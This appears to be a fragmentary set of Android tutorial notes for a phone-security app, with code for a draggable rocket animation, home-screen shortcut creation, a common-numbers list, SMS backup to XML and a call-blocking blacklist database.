																aa.setRepeatMode(AlphaAnimation.REVERSE);
																aa.setFillAfter(true);
																aa.setDuration(800);
																iv_smoke_top.startAnimation(aa);
												}
												if	(bottom_location	<	iv_smoke_top.getTop())	{
																iv_smoke_top.setVisibility(ImageView.INVISIBLE);
												}
												int	l	=	iv_rocket_image.getLeft();//	
												int	t	=	iv_rocket_image.getTop();//	
												int	r	=	iv_rocket_image.getRight();//	
												int	b	=	iv_rocket_image.getBottom();//	
												iv_rocket_image.layout(l,	bottom_location	-	(b	-	t),	r,	bottom_location);
								}
	
				};
	
				@SuppressWarnings("deprecation")
				@Override
				protected	void	onCreate(Bundle	savedInstanceState)	{
								super.onCreate(savedInstanceState);
								setContentView(R.layout.activity_main);
								wm	=	(WindowManager)	this.getSystemService(Context.WINDOW_SERVICE);
								window_width	=	wm.getDefaultDisplay().getWidth();
								window_height	=	wm.getDefaultDisplay().getHeight();
	
								iv_rocket_image	=	(ImageView)	findViewById(R.id.iv_rocket_image);
								iv_smoke_bottom	=	(ImageView)	findViewById(R.id.iv_smoke_bottom);
								iv_smoke_top	=	(ImageView)	findViewById(R.id.iv_smoke_top);
	
								//	1frame
								iv_rocket_image.setBackgroundResource(R.anim.rocket);



	
								AnimationDrawable	rocketAnimation	=	(AnimationDrawable)	
iv_rocket_image.getBackground();
								rocketAnimation.start();
	
								//	2
								iv_rocket_image.setOnTouchListener(new	OnTouchListener()	{
	
												private	int	startX;
												private	int	startY;
	
												@Override
												public	boolean	onTouch(View	v,	MotionEvent	event)	{
																switch	(event.getAction())	{
																case	MotionEvent.ACTION_DOWN://	1
																				startX	=	(int)	event.getRawX();
																				startY	=	(int)	event.getRawY();
																				Log.i(TAG,	"" 	+	startX	+	":"	+	startY);
																				break;
																case	MotionEvent.ACTION_MOVE://	2
																				Log.i(TAG,	"~~" );
																				int	nowX	=	(int)	event.getRawX();
																				int	nowY	=	(int)	event.getRawY();
	
																				int	dX	=	nowX	-	startX;
																				int	dY	=	nowY	-	startY;
	
																				int	l	=	iv_rocket_image.getLeft()	+	dX;//
																				int	t	=	iv_rocket_image.getTop()	+	dY;//
																				int	r	=	iv_rocket_image.getRight()	+	dX;//
																				int	b	=	iv_rocket_image.getBottom()	+	dY;//
	
																				if	(l	<	0	||	t	<	0	||	r	>	window_width	||	b	>	window_height-40)	{//
																								break;
																				}
																				iv_rocket_image.layout(l,	t,	r,	b);
	
																				startX	=	nowX;
																				startY	=	nowY;
																				break;
																case	MotionEvent.ACTION_UP://	3
	



																				Log.i(TAG,	"~~~" );
	
																				l	=	iv_rocket_image.getLeft();//
																				t	=	iv_rocket_image.getTop();//
																				r	=	iv_rocket_image.getRight();//
																				b	=	iv_rocket_image.getBottom();//
	
																				final	int	iv_smoke_bottom_height	=	iv_smoke_bottom.getHeight();//	
																				//	1/3~2/3
																				if	(l	>	window_width	/	3	&&	r<window_width*2/3	&&	
																									b>window_height-40-iv_smoke_bottom_height/2	&&
b<window_height-40)	{
																								//	
																								Toast.makeText(getApplicationContext(),	"~~~" ,	
																																														Toast.LENGTH_SHORT).show();
																								iv_smoke_bottom.setVisibility(ImageView.VISIBLE);
	
																								//	
																								AlphaAnimation	aa	=	new	AlphaAnimation(0.0f,	1.0f);
																								aa.setRepeatCount(1);
																								aa.setRepeatMode(AlphaAnimation.REVERSE);
																								aa.setFillAfter(true);
																								aa.setDuration(1000);
																								iv_smoke_bottom.startAnimation(aa);
	
																								//	
																								new	Thread()	{
																												@Override
																												public	void	run()	{
																																int	total_height	=
iv_smoke_bottom.getHeight()+iv_smoke_top.getHeight()+50;//
																																int	speed	=	total_height	/	10;//	
																																for	(int	i	=	0;	i	<	10;	i++)	{
																																				int	what	=	iv_rocket_image.getBottom()	-	speed;
																																				handler.sendEmptyMessage(what);
																																				try	{
																																								Thread.sleep(70);
																																				}	catch	(InterruptedException	e)	{
																																								e.printStackTrace();
																																				}
																																}
																												}



	
																								}.start();
																				}
																				break;
																}
																return	true;
												}
								});
				}
}
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1
2
3shortcut
4\packages\apps\Launcher2\AndroidManifest.xml
<!--	Intent	received	used	to	install	shortcuts	from	other	applications	-->
<receiver
				android:name="com.android.launcher2.InstallShortcutReceiver"
				android:permission="com.android.launcher.permission.INSTALL_SHORTCUT">
				<intent-filter>
								<action	android:name="com.android.launcher.action.INSTALL_SHORTCUT"	/>
				</intent-filter>
</receiver>
5
<uses-
permission	android:name="com.android.launcher.permission.INSTALL_SHORTCUT"	/>		
6

package	cn.zengfansheng.shortcut;
	
import	android.app.Activity;
import	android.content.Intent;
import	android.graphics.BitmapFactory;
import	android.net.Uri;
import	android.os.Bundle;
import	android.view.View;
	
public	class	MainActivity	extends	Activity	{
	
				@Override
				protected	void	onCreate(Bundle	savedInstanceState)	{
								super.onCreate(savedInstanceState);
								setContentView(R.layout.activity_main);
				}
	
				/**
					*	
					*	@param	view
					*/



				public	void	click(View	view)	{
	
								/*<!--	Intent	received	used	to	install	shortcuts	from	other	applications	-->
												<receiver
																android:name="com.android.launcher2.InstallShortcutReceiver"
															
android:permission="com.android.launcher.permission.INSTALL_SHORTCUT">
																<intent-filter>
																				<action
android:name="com.android.launcher.action.INSTALL_SHORTCUT"	/>
																</intent-filter>
												</receiver>*/
								Intent	intent	=	new	Intent();
	
								//	action
								intent.setAction("com.android.launcher.action.INSTALL_SHORTCUT");
								//public	static	final	String	ACTION_CREATE_SHORTCUT	=
"android.intent.action.CREATE_SHORTCUT";
	
								//	1
								intent.putExtra(Intent.EXTRA_SHORTCUT_NAME,	"110" );
	
								//	2intent
								Intent	value	=	new	Intent();
								//	intent.setAction(Intent.ACTION_CALL);//intentvalue
								//	intent.setData(Uri.parse("tel:110"));//intentvalue
								value.setAction(Intent.ACTION_CALL);
								value.setData(Uri.parse("tel:110"));
								intent.putExtra(Intent.EXTRA_SHORTCUT_INTENT,value);
	
								//	3
								intent.putExtra(Intent.EXTRA_SHORTCUT_ICON,
																BitmapFactory.decodeResource(getResources(),	R.drawable.app));
								//	The	name	of	the	extra	used	to	define	the	icon,	as	a	Bitmap,	of	a	shortcut.
	
								//	
								sendBroadcast(intent);
				}
}

wiz:open_attachment?guid=522cf189-41db-4f7a-8492-b5919eeff5eb


Intent	value	=	new	Intent();
								//	intent.setAction(Intent.ACTION_CALL);//intentvalue
								//	intent.setData(Uri.parse("tel:110"));//intentvalue
								value.setAction(Intent.ACTION_CALL);
								value.setData(Uri.parse("tel:110"));
								intent.putExtra(Intent.EXTRA_SHORTCUT_INTENT,value);



	:	
/**
	*	7HomeActivity
	*/
private	void	installShortcut()	{
				Intent	intent	=	new	Intent();
				intent.setAction("com.android.launcher.action.INSTALL_SHORTCUT");
				//	1
				intent.putExtra(Intent.EXTRA_SHORTCUT_NAME,	"" );
				
				//	2
				//	Intent	value	=	new	Intent(this,HomeActivity.class);
				Intent	value	=	new	Intent();
				value.setAction("com.android.launcher.action.INSTALL_SHORTCUT");
				value.addCategory(Intent.CATEGORY_DEFAULT);
				intent.putExtra(Intent.EXTRA_SHORTCUT_INTENT,	value);
				
				//	3:
				intent.putExtra(Intent.EXTRA_SHORTCUT_ICON,BitmapFactory.decodeResource(getResources(),	R.drawable.
				
				//	4
				intent.putExtra("duplicate",	false);
				sendBroadcast(intent);
				
}

	intent.putExtra(Intent.EXTRA_SHORTCUT_ICON_RESOURCE,null);
1

2

\aosp_jb422\packages\apps\Launcher2\src\com\android\launcher2\InstallShortcutReceiver.java
a)	AndroidManifest.xml
<!--	Intent	received	used	to	install	shortcuts	from	other	applications	-->
<receiver
				android:name="com.android.launcher2.InstallShortcutReceiver"
				android:permission="com.android.launcher.permission.INSTALL_SHORTCUT"



				<intent-filter>
								<action	android:name="com.android.launcher.action.INSTALL_SHORTCUT"
				</intent-filter>
</receiver>
b)	 InstallShortcutReceiver
private	static	boolean	installShortcut(){}
//	By	default,	we	allow	for	duplicate	entries	(located	in	different	places)
boolean	duplicate	=	data.getBooleanExtra(Launcher.EXTRA_SHORTCUT_DUPLICATE,	true);
c)	Launcher
static	final	String	EXTRA_SHORTCUT_DUPLICATE	=	"duplicate";
d)	
intent.putExtra("duplicate",	false);



ExpandableListView

1assetscommonnum.db
2daoCommonNumberDao.java
package	cn.zengfansheng.mobilesafe.db.dao;

	

import	android.annotation.SuppressLint;

import	android.database.Cursor;

import	android.database.sqlite.SQLiteDatabase;

/**

*	2Dao

*	@author	hacket

*

*/

public	class	CommonNumberDao	{

	

				@SuppressLint("SdCardPath")

				private	static	final	String	PATH	=

"/data/data/cn.zengfansheng.mobilesafe/files/commonnum.db";

				private	static	final	String	CLASSLIST	=	"classlist";

				private	static	final	String	BASETABLE	=	"table";

	

				/**

					*	1commonnum.db

					*	select	count(*)	from	classlist;

					*

					*	@return	;-1

					*/

				public	static	int	getGroupCount()	{

								int	groupCount	=	0;

								SQLiteDatabase	database	=	SQLiteDatabase.openDatabase(PATH,	null,

SQLiteDatabase.OPEN_READONLY);

								Cursor	groupCursor	=	database.query(CLASSLIST,	new	String[]

{"count(*)"},	null,	null,	null,	null,	null);

								if	(groupCursor.moveToNext())	{

												groupCount	=	groupCursor.getInt(0);

								}

								groupCursor.close();

								database.close();

								return	groupCount;

				}

	

				/**

					*	2commonnum.db

					*	select	count(*)	from	classlist;

					*

					*	@param	groupPosition	id

					*	@return	groupPosition;-1

					*/

				public	static	int	getChildrenCount(int	groupPosition)	{

								int	childCount	=	0;



								SQLiteDatabase	database	=	SQLiteDatabase.openDatabase(PATH,	null,

SQLiteDatabase.OPEN_READONLY);

								Cursor	childCursor	=	database.query(BASETABLE+groupPosition,		new

String[]{"count(*)"},	null,	null,	null,	null,	null);

								if	(childCursor.moveToFirst())	{

												childCount=	

childCursor.getInt(childCursor.getColumnIndex("count(*)"));

								}

								childCursor.close();

								database.close();

								return	childCount;

				}

	

				/**

					*	3commonnum.dbgroup	

					*

					*	select	name	from	classlist	where	idx	=	1;

					*

					*	@param	groupPosition	group

					*	@return	group;null

					*/

				public	static	String	getGroupViewName(int	groupPosition)	{

								String		groupName	=	null;

								SQLiteDatabase	database	=	SQLiteDatabase.openDatabase(PATH,	null,

SQLiteDatabase.OPEN_READONLY);

								Cursor	groupNameCursor	=	database.query(CLASSLIST,	new	String[]

{"name"},	"idx=?",	new	String[]{String.valueOf(groupPosition)},	null,	null,

null);

								if	(groupNameCursor.moveToNext())	{

												groupName	=

groupNameCursor.getString(groupNameCursor.getColumnIndex("name"));

								}

								groupNameCursor.close();

								database.close();

								return	groupName;

				}

	

				/**

					*	4commonnum.dbgroup

					*

					*	@param	groupPosition	group

					*	@param	childPosition	group

					*	@return		;null

					*/

				public	static	String	getChildName(int	groupPosition,int	childPosition)	{

								String	childName	=	null;

								SQLiteDatabase	database	=	SQLiteDatabase.openDatabase(PATH,	null,

SQLiteDatabase.OPEN_READONLY);

								Cursor	childNameCursor	=	database.query(BASETABLE+groupPosition,	new

String[]{"name"},	"_id=?",	new	String[]{String.valueOf(childPosition)},

null,	null,	null);

								if	(childNameCursor.moveToNext())	{

												childName	=	

childNameCursor.getString(childNameCursor.getColumnIndex("name"));

								}

								childNameCursor.close();



								database.close();

								return	childName;

				}

	

				/**

					*	5commonnum.dbgroup

					*

					*	@param	groupPosition	group

					*	@param	childPosition	group

					*	@return		;null

					*/

				public	static	String	getChildNum(int	groupPosition,int	childPosition)	{

								String	childNum	=	null;

								SQLiteDatabase	database	=	SQLiteDatabase.openDatabase(PATH,	null,

SQLiteDatabase.OPEN_READONLY);

								Cursor	childNumCursor	=	database.query(BASETABLE+groupPosition,	new

String[]{"number"},	"_id=?",	new	String[]{String.valueOf(childPosition)},

null,	null,	null);

								if	(childNumCursor.moveToNext())	{

												childNum	=	

childNumCursor.getString(childNumCursor.getColumnIndex("number"));

								}

								childNumCursor.close();

								database.close();

								return	childNum;

				}

}

3——
4CommnumNumberActivityactivity_commonnumber_query.xml-
ExpandableListView
5CommnumNumberActivityExpandableListView
package	cn.zengfansheng.mobilesafe;

	

import	android.app.Activity;

import	android.content.Intent;

import	android.net.Uri;

import	android.os.Bundle;

import	android.util.Log;

import	android.view.View;

import	android.view.ViewGroup;

import	android.widget.BaseExpandableListAdapter;

import	android.widget.ExpandableListView;

import	android.widget.ExpandableListView.OnChildClickListener;

import	android.widget.TextView;

import	cn.zengfansheng.mobilesafe.db.dao.CommonNumberDao;

	

/**

*	13Activity

*	@author	hacket

*/

public	class	CommnumNumberActivity	extends	Activity	{

	

				public	static	final	String	TAG	=	"CommnumNumberActivity";

	



				private	ExpandableListView	el_common_number;//	

				@Override

				protected	void	onCreate(Bundle	savedInstanceState)	{

								super.onCreate(savedInstanceState);

								setContentView(R.layout.activity_commonnumber_query);

	

								el_common_number	=	(ExpandableListView)

this.findViewById(R.id.el_common_number_advanced_tools);

								el_common_number.setAdapter(new	MyCommonNumberQueryAdapter());

	

								//	

								el_common_number.setOnChildClickListener(new	OnChildClickListener()

{

	

												@Override

												public	boolean	onChildClick(ExpandableListView	parent,	View	v,

																				int	groupPosition,	int	childPosition,	long	id)	{

	

																//1

																String	childNum	=

CommonNumberDao.getChildNum(groupPosition+1,childPosition+1);

	

											//

																//	2

																Intent	intent	=	new	Intent();

																intent.setAction(Intent.ACTION_DIAL);

																intent.setData(Uri.parse("tel:"	+	childNum));

																startActivity(intent);

																return	true;

												}

								});

				}

	

				/**

					*	1adapter-MyCommonNumberQueryAdapter

					*	@author	hacket

					*/

				private	class	MyCommonNumberQueryAdapter	extends

BaseExpandableListAdapter	{

	

								//	

								@Override

								public	int	getGroupCount()	{

												return	CommonNumberDao.getGroupCount();

								}

	

								//	

								@Override

								public	int	getChildrenCount(int	groupPosition)	{

	

												return	CommonNumberDao.getChildrenCount(groupPosition	+	1);//	1

								}

	

								@Override

								public	Object	getGroup(int	groupPosition)	{



												return	null;

	

								}

								@Override

								public	Object	getChild(int	groupPosition,	int	childPosition)	{

												return	null;

								}

	

								@Override

								public	long	getGroupId(int	groupPosition)	{

												return	0;

								}

	

								@Override

								public	long	getChildId(int	groupPosition,	int	childPosition)	{

												return	0;

								}

	

								@Override

								public	boolean	hasStableIds()	{

												return	false;

								}

	

								//	

								@Override

								public	View	getGroupView(int	groupPosition,	boolean	isExpanded,

																View	convertView,	ViewGroup	parent)	{

												String	groupViewName	=

CommonNumberDao.getGroupViewName(groupPosition+1);

												TextView	groupView	=	new	TextView(CommnumNumberActivity.this);

												groupView.setHeight(70);

												groupView.setTextSize(20);

												groupView.setText("								"	+	groupViewName);

												return	groupView;

								}

	

								//	

								@Override

								public	View	getChildView(int	groupPosition,	int	childPosition,

																boolean	isLastChild,	View	convertView,	ViewGroup	parent)	{

	

												String	childName	=	CommonNumberDao.getChildName(groupPosition	+

1,childPosition	+	1);

												String	childNumber	=	CommonNumberDao.getChildNum(groupPosition	+

1,childPosition	+	1);

												TextView	childView	=	new	TextView(CommnumNumberActivity.this);

												childView.setHeight(70);

												childView.setTextSize(15);

												childView.setText("						"	+	childName	+	"\n"	+	"						"+

childNumber);

												return	childView;

								}

	

								@Override



								public	boolean	isChildSelectable(int	groupPosition,	int

childPosition)	{

												Log.i(TAG,	"~~~" 	+	groupPosition	+	":"	+	childPosition);

												return	true;//	

								}

	

				}

}

ExpandableListView
package	cn.zengfansheng.expandlistview;
	
import	java.util.Random;
	
import	android.app.Activity;
import	android.os.Bundle;
import	android.view.View;
import	android.view.ViewGroup;
import	android.widget.BaseExpandableListAdapter;
import	android.widget.ExpandableListView;
import	android.widget.TextView;
	
public	class	MainActivity	extends	Activity	{
	
				private	ExpandableListView	expandableListView;
				@Override
				protected	void	onCreate(Bundle	savedInstanceState)	{
								super.onCreate(savedInstanceState);
								setContentView(R.layout.activity_main);
	
								expandableListView	=	(ExpandableListView)	this
																.findViewById(R.id.expand_listview);
								expandableListView.setAdapter(new	MyExpandListView());
				}
	
				private	class	MyExpandListView	extends	BaseExpandableListAdapter	{
	
								//	
								@Override
								public	int	getGroupCount()	{
												return	8;
	
								}
	



								//	
								@Override
								public	int	getChildrenCount(int	groupPosition)	{
												Random	random	=	new	Random();
												return	random.nextInt(10)	+	1;
								}
	
								//	
								@Override
								public	Object	getGroup(int	groupPosition)	{
												return	null;
								}
	
								//	
								@Override
								public	Object	getChild(int	groupPosition,	int	childPosition)	{
												return	null;
	
								}
	
								//	id
								@Override
								public	long	getGroupId(int	groupPosition)	{
												return	0;
	
								}
	
								//	id
								@Override
								public	long	getChildId(int	groupPosition,	int	childPosition)	{
												return	0;
								}
	
								//	
								@Override
								public	boolean	hasStableIds()	{
												System.out.println("hasStableIds:");
												return	true;
								}
	
								//	*****	
								@Override



								public	View	getGroupView(int	groupPosition,	boolean	isExpanded,
																View	convertView,	ViewGroup	parent)	{
												TextView	groupView	=	new	TextView(MainActivity.this);
												groupView.setText("								~~~"	+	groupPosition	+	":"	+	isExpanded);
												return	groupView;
								}
	
								//	*****	
								@Override
								public	View	getChildView(int	groupPosition,	int	childPosition,
																boolean	isLastChild,	View	convertView,	ViewGroup	parent)	{
												TextView	childView	=	new	TextView(MainActivity.this);
												childView.setText("" 	+	groupPosition	+	"~~~" 	+	childPosition
																				+	"~~~" 	+	"" 	+	isLastChild);
												return	childView;
								}
	
								//	
								@Override
								public	boolean	isChildSelectable(int	groupPosition,	int	childPosition)	{
												return	true;
								}
				}
}



void

1
\packages\providers\TelephonyProvider\AndroidManifest.xml
<provider	android:name="SmsProvider"
										android:authorities="sms"
										android:multiprocess="true"
										android:exported="true"
										android:readPermission="android.permission.READ_SMS"
										android:writePermission="android.permission.WRITE_SMS"	/>
2uri
private	static	final	int	SMS_ALL	=	0;

static	{

			sURLMatcher.addURI("sms",	null,	SMS_ALL);

			......

}

3\data\data\com.android.providers.telephony\databases\mmssms.db
sms

address

date(long)

type()12

body()

4
<uses-permission	android:name="android.permission.READ_SMS"/>



5

6ProgressDialog
//	1
final	ProgressDialog	progressDialog	=	new	ProgressDialog(this);
//	a)	
progressDialog.setTitle("" );
progressDialog.setMessage("~~~" );
progressDialog.setProgressStyle(ProgressDialog.STYLE_HORIZONTAL);
//	b)
progressDialog.show();
//
progressDialog.setMax(total);
progressDialog.setProgress(progress);
progressDialog.dismiss();

7 ProgressBar

8 XmlSerializerxml

9
A:
B:

1
2
B
BAAB

AdvancedToolsActivity.java
package	cn.zengfansheng.mobilesafe;
import	java.io.IOException;
import	android.app.Activity;
import	android.app.ProgressDialog;
import	android.content.Intent;
import	android.os.Bundle;
import	android.os.Environment;
import	android.view.View;



import	android.widget.ProgressBar;
import	cn.zengfansheng.mobilesafe.utils.SmsUtils;
import	cn.zengfansheng.mobilesafe.utils.SmsUtils.BackupCallback;
import	cn.zengfansheng.mobilesafe.utils.ToastUtils;
/**
	*	11Activity
	*	
	*	@author	hacket
	*	
	*/
public	class	AdvancedToolsActivity	extends	Activity	{
				@Override
				protected	void	onCreate(Bundle	savedInstanceState)	{
								super.onCreate(savedInstanceState);
								setContentView(R.layout.activity_advanced_tools);
				}
				/**
					*	1 -
					*	
					*	@param	view
					*/
				public	void	queryNumberAddress(View	view)	{
								Intent	intent	=	new	Intent(this,	NumberQueryActivity.class);
								startActivity(intent);
				}
				
				/**
					*	2
					*	
					*	@param	view
					*/
				public	void	queryCommonNumber(View	view){
								Intent	intent	=	new	Intent(this,	CommnumNumberActivity.class);
								startActivity(intent);
				}
				
				/**
					*	3	
					*	@param	view
					*/
				public	void	backupSms(View	view){
								



								String	externalStorageState	=	Environment.getExternalStorageState();
								if	(Environment.MEDIA_MOUNTED.equals(externalStorageState))	{
												//	1
												final	ProgressDialog	progressDialog	=	new	ProgressDialog(this);
												//	a)	
												progressDialog.setTitle("" );
												progressDialog.setMessage("~~~" );
												progressDialog.setProgressStyle(ProgressDialog.STYLE_HORIZONTAL);
												//	b)
												progressDialog.show();
												//	
												//	2
												final	ProgressBar	progressBar	=	(ProgressBar)	this.findViewById(R.id.pb_backup_sms
												progressBar.setVisibility(ProgressBar.VISIBLE);//	
												new	Thread()	{
																public	void	run()	{
																				try	{
																								
																								String	path	=	Environment.getExternalStorageDirectory()+"/smsbackup.xml"
																								
//																								SmsUtils.backupSms(AdvancedToolsActivity.this,	path,	progressDialog);	//1
//																								SmsUtils.backupSms(AdvancedToolsActivity.this,	path,pb_backup);//2:
																								
																								//	,
																								SmsUtils.backupSms(AdvancedToolsActivity.this,	path,	new	BackupCallback()	
																												
																												@Override
																												public	void	beforeBackup(int	total)	{
																																//1
																																progressDialog.setMax(total);
																																//2:					
																																progressBar.setMax(total);
																												}
																												@Override
																												public	void	onBackupProcess(int	progress)	{
																																//1
																																progressDialog.setProgress(progress);
																																//2:					
																																progressBar.setProgress(progress);
																												}
																												
																								});



																								
																								ToastUtils.showToastInThread(AdvancedToolsActivity.this,	"~~~" 	+	path);
																				}	catch	(IllegalArgumentException	e)	{
																								e.printStackTrace();
																								ToastUtils.showToastInThread(AdvancedToolsActivity.this,	"~~~" );
																				}	catch	(IllegalStateException	e)	{
																								e.printStackTrace();
																								ToastUtils.showToastInThread(AdvancedToolsActivity.this,	"~~~" );
																				}	catch	(IOException	e)	{
																								e.printStackTrace();
																								ToastUtils.showToastInThread(AdvancedToolsActivity.this,	"~~~" );
																				}	catch	(InterruptedException	e)	{
																								e.printStackTrace();
																								ToastUtils.showToastInThread(AdvancedToolsActivity.this,	"~~~" );
																				}	finally	{
																								//	1dismiss
																								progressDialog.dismiss();
																								//	2	 FIXME
																								//	progressBar.setVisibility(ProgressBar.INVISIBLE);
																								//Only	the	original	thread	that	created	a	view	hierarchy	can	touch	its	views.
																				}
																};
												}.start();
								}
				}
				
				/**
					*	4
					*	@param	view
					*/
				public	void	restoreSms(View	view)	{
								
				}
}
SmsUtils.java		
package	cn.zengfansheng.mobilesafe.utils;

	

import	java.io.FileOutputStream;

import	java.io.IOException;

import	org.xmlpull.v1.XmlSerializer;

import	android.content.ContentResolver;

import	android.content.Context;

import	android.database.Cursor;

import	android.net.Uri;

import	android.util.Log;



import	android.util.Xml;

	

/**

*	4

*	@author	hacket

*/

public	class	SmsUtils	{

	

				/**

					*	

					*	@author	hacket

					*/

				public	interface	BackupCallback	{

								/**

									*	,

									*	@param	total	

									*/

								public	abstract	void	beforeBackup(int	total);

								/**

									*	

									*	@param	progress	

									*/

								public	abstract	void	onBackupProcess(int	progress);

				}

	

				private	static	final	String	TAG	=	"SmsUtils";

	

				/**

					*	1

					*	@param	context	

					*	@param	path	

					*	@param		callback	

					*	@throws	IllegalArgumentException

					*	@throws	IllegalStateException

					*	@throws	IOException

					*	@throws	InterruptedException

					*/

				public	static	void	backupSms(Context	context,	String	path,	BackupCallback

callback)

												throws	IllegalArgumentException,	IllegalStateException,	IOException,

InterruptedException	{

	

								/*<provider	android:name="SmsProvider"

																		android:authorities="sms"

																		android:multiprocess="true"

																		android:exported="true"

																		android:readPermission="android.permission.READ_SMS"

																		android:writePermission="android.permission.WRITE_SMS"	/>*/

	

								//	a

								ContentResolver	contentResolver	=	context.getContentResolver();

	

								//	b

								Uri	uri	=	Uri.parse("content://sms");//	contentandroid:authorities="sms"

								Cursor	cursor	=	contentResolver.query(uri,	new	String[]	{	"address",



"date",	"type","body"	},	null,	null,	null);

	

								//	1xml

								XmlSerializer	xmlSerializer	=	Xml.newSerializer();

								FileOutputStream	fos	=	null;

	

								//	2

								fos	=	new	FileOutputStream(path);

								xmlSerializer.setOutput(fos,	"utf-8");

								xmlSerializer.startDocument("utf-8",	true);

	

								//	3

								int	total	=	cursor.getCount();//	

								Log.i(TAG,	"" 	+	total);

	

								//	progressDialog.setMax(total);//1

								//	pb.setMax(total);//	2

								callback.beforeBackup(total);//	

	

								int	progress	=	0;

								while	(cursor.moveToNext())	{

	

												xmlSerializer.startTag(null,	"smss");

	

												xmlSerializer.startTag(null,	"sms");

												xmlSerializer.text(cursor.getString(0));

												xmlSerializer.endTag(null,	"sms");

	

												xmlSerializer.startTag(null,	"date");

												xmlSerializer.text(cursor.getString(1));

												xmlSerializer.endTag(null,	"date");

	

												xmlSerializer.startTag(null,	"type");

												xmlSerializer.text(cursor.getString(2));

												xmlSerializer.endTag(null,	"type");

	

												xmlSerializer.startTag(null,	"sms");

												xmlSerializer.text(cursor.getString(3));

												xmlSerializer.endTag(null,	"sms");

	

												xmlSerializer.startTag(null,	"body");

												xmlSerializer.text(cursor.getString(0));

												xmlSerializer.endTag(null,	"body");

	

												xmlSerializer.endTag(null,	"smss");

												fos.flush();

												Thread.sleep(500);

												progress++;

	

												//	progressDialog.setProgress(progress);//1

												//	pb.setProgress(progress);//	2:

												callback.onBackupProcess(progress);//	

								}

								xmlSerializer.endDocument();

								//	4



								cursor.close();

								fos.close();

				}

}

1

2





1CallSmsSafeActivity.java	onCreate()
2CallSmsSa	feActivity
3CallSmsSafeActivityactivity_callsms_safe.xml
4blacklist
android.database.sqlite.SQLiteOpenHelper

create	table	blacknumber	
(
		id	integer		primary	key	autoincrement,	--id
		numbervarchar(20),	--
		mode	varchar(2)	--1		2	3
)
5daoblacklist
6
7	 CallSmsSafeActivity

1	 BlackNumberDBOpenHelper.java	
package	cn.zengfansheng.mobilesafe.db;

import	android.content.Context;

import	android.database.sqlite.SQLiteDatabase;

import	android.database.sqlite.SQLiteOpenHelper;

	

public	class	BlackNumberDBOpenHelper	extends	SQLiteOpenHelper	{

	

				public	BlackNumberDBOpenHelper(Context	context)	{

								super(context,	"blacklist.db",	null,	1);

				}

	

				//		

				//	mode	1		2	3

				@Override

				public	void	onCreate(SQLiteDatabase	db)	{

								//	

								String	sql	=	"create	table	blacknumber	(id	integer	primary	key

autoincrement,number	varchar(20),	mode	varchar(2))";

								//	autoincrementauto_increment

								db.execSQL(sql);

				}

	

				@Override

				public	void	onUpgrade(SQLiteDatabase	db,	int	oldVersion,	int	newVersion)

{



				}

}

2 	BlackNumberDao.java	
package	cn.zengfansheng.mobilesafe.db.dao;
import	java.util.ArrayList;
import	java.util.List;
import	android.content.ContentValues;
import	android.content.Context;
import	android.database.Cursor;
import	android.database.sqlite.SQLiteDatabase;
import	cn.zengfansheng.mobilesafe.db.BlackNumberDBOpenHelper;
import	cn.zengfansheng.mobilesafe.domain.BlackNumberInfo;
/**
	*	3DAO
	*	@author	hacket
	*/
public	class	BlackNumberDao	{
				private	BlackNumberDBOpenHelper	helper;
				private	final	String	TABLE	=	"blacknumber";
				public	BlackNumberDao(Context	context)	{
								helper	=	new	BlackNumberDBOpenHelper(context);
				}
				/**
					*	1
					*	
					*	@param	number		
					*	@param	mode		123
					*	@return		
					*/
				public	long	add(String	number,	String	mode)	{
								//	1
								SQLiteDatabase	database	=	helper.getWritableDatabase();
								//	2
								ContentValues	values	=	new	ContentValues();
								values.put("number",	number);
								values.put("mode",	mode);
								long	insert	=	database.insert(TABLE,	null,	values);//	
								//	3
								database.close();
								return	insert;
				}
				/**
					*	2



					*	@param	number	
					*	@return	
					*/
				public	long	delete(String	number)	{
								SQLiteDatabase	database	=	helper.getWritableDatabase();
								int	delete	=	database.delete(TABLE,	"number=?",	new	String[]{number});
								database.close();
								return	delete;
				}
				/**
					*	3	
					*	@param	number	
					*	@param	newMode	
					*	@return	
					*/
				public	long	update(String	number,String	newMode)	{
								SQLiteDatabase	database	=	helper.getWritableDatabase();
								ContentValues	values	=	new	ContentValues();
								values.put("number",	number);
								values.put("mode",	newMode);
								int	update	=	database.update(TABLE,	values,	"number=?",	new	String[]	{number});
								database.close();
								return	update;
				}
				/**
					*	4
					*	@param	number	
					*	@return		BlackNumberInfonull	
					*/
				public	BlackNumberInfo	find	(String	number){
								SQLiteDatabase	database	=	helper.getReadableDatabase();
								Cursor	cursor	=	database.query(TABLE,	null,	"number=?",	new	String[]
{number},	null,	null,	null);
								BlackNumberInfo	blackNumberInfo	=	null;
								if	(cursor.moveToNext())	{
												int	id	=	cursor.getInt(cursor.getColumnIndex("id"));
												String	mynumber	=	cursor.getString(cursor.getColumnIndex("number"));
												String	mode	=	cursor.getString(cursor.getColumnIndex("mode"));
												blackNumberInfo	=	new	BlackNumberInfo(id,	mynumber,	mode);
								}
								return	blackNumberInfo;
				}



				
				/**
					*	5
					*	@return	
					*/
				public	List<BlackNumberInfo>	getBlackNumberInfos()	{
								
								List<BlackNumberInfo>	numberInfos	=	new	ArrayList<BlackNumberInfo>();
								
								SQLiteDatabase	database	=	helper.getReadableDatabase();
								Cursor	cursor	=	database.query(TABLE,	null,	null,	null,	null,	null,	null);
								
								while	(cursor.moveToNext())	{
												int	id	=	cursor.getInt(cursor.getColumnIndex("id"));
												String	number	=	cursor.getString(cursor.getColumnIndex("number"));
												String	mode	=	cursor.getString(cursor.getColumnIndex("mode"));
												BlackNumberInfo	blackNumberInfo	=	new	BlackNumberInfo(id,number,mode);
												numberInfos.add(blackNumberInfo);
								}
								return	numberInfos;
				}
}
3 	CallSmsSafeActivity.java	
package	cn.zengfansheng.mobilesafe;

import	java.util.List;

import	android.app.Activity;

import	android.os.Bundle;

import	android.view.View;

import	android.view.ViewGroup;

import	android.widget.BaseAdapter;

import	android.widget.ListView;

import	android.widget.TextView;

import	cn.zengfansheng.mobilesafe.db.dao.BlackNumberDao;

import	cn.zengfansheng.mobilesafe.domain.BlackNumberInfo;

	

/**

*	15Activity

*	@author	hacket

*/

public	class	CallSmsSafeActivity	extends	Activity	{

	

				private	ListView	lv_callsmssafe;//	listviewadapter

				private	BlackNumberDao	blackNumberDao;//	dao

				private	List<BlackNumberInfo>	numberInfos;//	List

	

				@Override

				protected	void	onCreate(Bundle	savedInstanceState)	{

								super.onCreate(savedInstanceState);



								this.setContentView(R.layout.activity_callsms_safe);

	

								blackNumberDao	=	new	BlackNumberDao(this);

								numberInfos	=	blackNumberDao.getBlackNumberInfos();

	

								lv_callsmssafe	=	(ListView)

